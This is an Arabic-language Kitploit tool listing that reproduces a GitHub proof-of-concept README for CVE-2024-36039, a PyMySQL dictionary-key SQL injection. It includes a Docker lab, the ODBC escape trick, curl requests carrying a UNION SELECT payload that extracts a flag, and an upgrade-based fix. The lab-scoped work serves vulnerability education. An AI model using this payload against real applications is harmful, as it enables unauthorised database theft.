Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-36039_PoC — PoC لـ CVE-2024-36039: إثبات حقن SQL عبر خلل تسلسل الكائن إلى سلسلة نصية في PyMySQL | Kitploit
أدوات/GitHubGitHub/zenniskayy2k4/cve-2024-36039_poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمأمن قواعد البياناتمختبرات وتدريب عملي
GitHubzenniskayy2k4/cve-2024-36039_poc

CVE-2024-36039_PoC

PoC لـ CVE-2024-36039: إثبات حقن SQL عبر خلل تسلسل الكائن إلى سلسلة نصية في PyMySQL

عرض المستودع
1منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-36039: إثبات مفهوم (PoC) لتحويل حقن الكائنات في PyMySQL إلى حقن SQL

Docker Python MariaDB Vulnerability CVE

مختبر متكامل وقابل لإعادة الإنتاج لإثبات المفهوم (PoC) للثغرة CVE-2024-36039، يوضح كيف يمكن تصعيد ثغرة حقن كائنات في PyMySQL (الإصدارات <= 1.1.0) إلى حقن SQL كامل باستخدام تسلسلات هروب ODBC في MariaDB.


⚠️ إخلاء مسؤولية قانوني وأخلاقي (للاستخدام الأخلاقي فقط)

  • هذا المستودع لأغراض أكاديمية وبحثية فقط.
  • يجب ألا تُستخدم الشيفرة والتقنيات المقدمة للتدخل في أي نظام لا تملكه أو ليس لديك إذن كتابي صريح لاختباره.
  • ليس المؤلف/المساهمون مسؤولين عن أي عواقب أو أضرار ناتجة عن إساءة استخدام هذه المعلومات.
  • باستخدامك لهذا المستودع، فأنت توافق على الالتزام بهذه الشروط.

📖 1. نظرة عامة على الثغرة

CVE-2024-36039 هي ثغرة في PyMySQL، وهي مكتبة عميل MySQL مكتوبة بلغة Python خالصة.

عندما تستقبل الاستعلامات المُعاملات (مثل: execute("SELECT * FROM table WHERE data = %s", (my_dict,))) قاموس Python حيث تكون المفاتيح كائنات مخصصة بدلاً من سلاسل نصية قياسية، يستخدم PyMySQL طريقة __str__ أو __repr__ الخاصة بالكائن لتسلسله إلى سلسلة SQL.

الخلل: ينسى PyMySQL تخطي (التغليف بعلامات اقتباس مفردة) السلسلة الناتجة لمفتاح الكائن. يؤدي ذلك إلى حقن سلسلة نصية خام وغير مقتبسة مباشرةً في عبارة SQL بتنسيق قاموس: {UnquotedObjectString: 'EscapedValue'}.


🔬 2. الغوص التقني العميق: خدعة MariaDB ODBC

بمفرده، فإن حقن {UnquotedKey: 'Value'} في استعلام MariaDB سيؤدي إلى ظهور خطأ 1064 Syntax Error لأن {} ليس صيغة بيانات SQL قياسية.

ومع ذلك، يدعم MariaDB/MySQL تسلسلات هروب ODBC، والتي تستخدم الأقواس المتعرجة {}. لتجاوز الخطأ النحوي، يجب أن تكون السلسلة التي تلي { مباشرةً كلمة ODBC صالحة (مثل: d, t, ts, fn).

سلسلة الاستغلال:

  1. مفتاح الكائن (نقطة الحقن): نصمم كائنًا مخصصًا يُرجع fn/* عبر طريقة __repr__ الخاصة به.
  2. القيمة (الحمولة): نضبط قيمة القاموس على */ 1} UNION SELECT 1, flag, 3 FROM secret -- .
  3. تسلسل PyMySQL: يقوم PyMySQL بتنسيق هذا القاموس في استعلام SQL دون اقتباس المفتاح:
    root@kitploit:~
    SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
    
  4. سحر تحليل MariaDB:
    • {fn : يتعرف MariaDB على بداية دالة ODFC العددية.
    • /*: "'*/ : يتعامل MariaDB مع هذا على أنه تعليق كتلة (block comment). يتم تجاهل النقطتين : وعلامة الاقتباس الافتتاحية ' الناتجة عن PyMySQL تمامًا!
    • 1} : يكمل دالة ODBC (ويُرجع فعليًا العدد الصحيح 1).
    • UNION SELECT 1, flag, 3 FROM secret : يتم تنفيذ حمولة SQL المحقونة.

النتيجة: حقن SQL مثالي يتجاوز منطق التطبيق ومعاملات PyMySQL على حد سواء!


🛠️ 3. تعليمات إعداد المختبر

المتطلبات الأساسية

  • Docker
  • Docker Compose

التثبيت

استنسخ هذا المستودع وقم بتشغيل البيئة:

root@kitploit:~
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build

(انتظر حوالي 15-20 ثانية حتى تتم تهيئة حاوية MariaDB بالكامل).


🎯 4. خطوات الاستغلال

الخطوة 1: طلب عادي

أرسل طلب JSON قياسيًا. سيقوم الخادم الخلفي بتحويل مفتاح JSON إلى كائن CustomKey.

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"yamato": "Any_value"}'

الاستجابة: ستحصل على خطأ صياغة SQL يشير إلى أن {yamato: "'Any_value'"} عبارة عن SQL غير صالحة، مما يؤكد نقطة الحقن.

الخطوة 2: الاستغلال (استخراج العَلم)

احقن حمولة تسلسل هروب ODBC لتجاوز خطأ الصياغة واستخراج العَلم المخفي من جدول secret.

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'

الاستجابة (تم الاختراق!):

root@kitploit:~
{
  "data":[
    {
      "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
      "id": 1,
      "log_data": "3"
    }
  ],
  "status": "success"
}

🛡️ 5. المعالجة

لإصلاح هذه الثغرة، قم بترقية PyMySQL إلى الإصدار 1.1.1 أو أحدث.

في الإصدارات المُصححة، يضمن المطورون أن جميع مفاتيح القاموس، بغض النظر عن نوعها، يتم تخطيها واقتباسها بشكل صحيح قبل إدراجها في عبارة SQL.

root@kitploit:~
pip install --upgrade PyMySQL

📚 6. الاعتمادات والمراجع

  • استشارة CVE-2024-36039: NVD - CVE-2024-36039
  • التصحيح الأمني لـ PyMySQL: إصدار PyMySQL على GitHub v1.1.1
  • تسلسلات هروب ODBC في MariaDB: توثيق MariaDB.
  • الإلهام: تم تصميم هذه البيئة المختبرية بناءً على تقنيات استغلال ويب حديثة تتضمن عيوب تسلسل الكائنات إلى سلاسل نصية.

إخلاء مسؤولية: تم إنشاء هذا المستودع لأغراض تعليمية وبحثية فقط. لا تستخدم هذه التقنيات ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

© 2026 بواسطة zenniskayy. صُنع من أجل إنترنت أكثر أمانًا.

تنزيل الأداة
  • -- '"} : يتجاهل تعليق SQL باقي البيانات الزائدة ('}).